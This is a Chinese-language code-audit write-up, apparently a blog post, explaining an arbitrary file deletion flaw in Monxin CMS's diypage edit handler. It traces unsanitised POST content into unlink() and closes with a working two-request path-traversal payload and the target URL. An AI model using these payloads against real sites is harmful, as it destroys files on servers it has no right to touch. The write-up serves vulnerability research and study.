monxin cms 任意文件删除漏洞
\program\diypage\receive\edit.php
首先看到一个unlink($path);
本来应该先看sql语句的,但知道是任意文件删除先跳过
删除语句,看看$path怎么传入的倒推上去
1.$path=$v;
2.foreach($old_imgs as $v)
3.$old_imgs=get_match_all($reg,$r['content']);
get_match_all是一个自定义函数
function get_match_all($reg,$str){
preg_match_all($reg,$str,$r);
//var_dump($r);
return @$r[1];
}
preg_match_all是一个全局正则表达匹配函数
最后就是吧$str中所有匹配$reg的输出到$r数组中然后返回
返回上面接着看$r['content']是怎么来的
$r=$pdo->query($sql,2)->fetch(2);
再结合整个函数来看
if($pdo->exec($sql)){
$reg='#<img.*src=&\#34;(program/'.self::$config['class_name'].'/attachd/.*)&\#34;.*>#iU';
$new_imgs=get_match_all($reg,$_POST['content']);
//var_dump($new_imgs);
$old_imgs=get_match_all($reg,$r['content']);
foreach($old_imgs as $v){
if(!in_array($v,$new_imgs)){
$sql="select count(id) as c from ".self::$table_pre."page where `content` like '%".$v."%' or `phone_content` like '%".$v."%'";
$r=$pdo->query($sql,2)->fetch(2);
if($r['c']==0){
$path=$v;
unlink($path);
reg_attachd_img("del",self::$config['class_name'],$path,$pdo);
}
}
}
从这两句就很明显这个函数是干嘛了
foreach($old_imgs as $v){
if(!in_array($v,$new_imgs)
就是对旧的content和新的content进行比价把既不在新的content中也不再表中的数据给删了
但是新的content是POST传入且没有任何限制。所以导致任意文件删除。
接下来构造payload。这里遇到问题了,因为首先路径没有找对,然后要满足两个条件
1.新旧content中有不同
2.table中没有旧的数据。
然后发现自己之前没有看仔细
$sql="select count(id) as c from ".self::$table_pre."page where `content` like '%".$v."%' or `phone_content` like '%".$v."%'";
$v是旧的content遍历传入的这条语句是在表中旧content的数据。
$sql="update ".self::$table_pre."page set `type`='".$_POST['type']."',`title`='".$_POST['title']."',`content`='".$_POST['content']."',`link`='".$_POST['link']."',`time`='$time',`editor`='$editor' where `id`='$id'";
这里更新了一次content
所以整理一下思路就是先传入content,他会更新一次这里已经是新的content(这里填上要删除的目标)
第一次相当于覆盖原有的content让现在的content成为我们准备删除的目标,这次传入的content对于第二次来说就是久的content
然后再传入一个既不在现在的content里面的数据也不是表里面的数据,会删除我们上一次传入的目标。
最后没想到有个越权;看的别人构造的路径http://127.0.0.1/monxin3/receive.php?target=diypage::edit&id=121
第一次post提交content=<img src="program/diypage/attachd/../../../1.txt" alt="" />
第二次post提交content=<img src="program/diypage/attachd/../../../sssb.txt" alt="" />
成功删除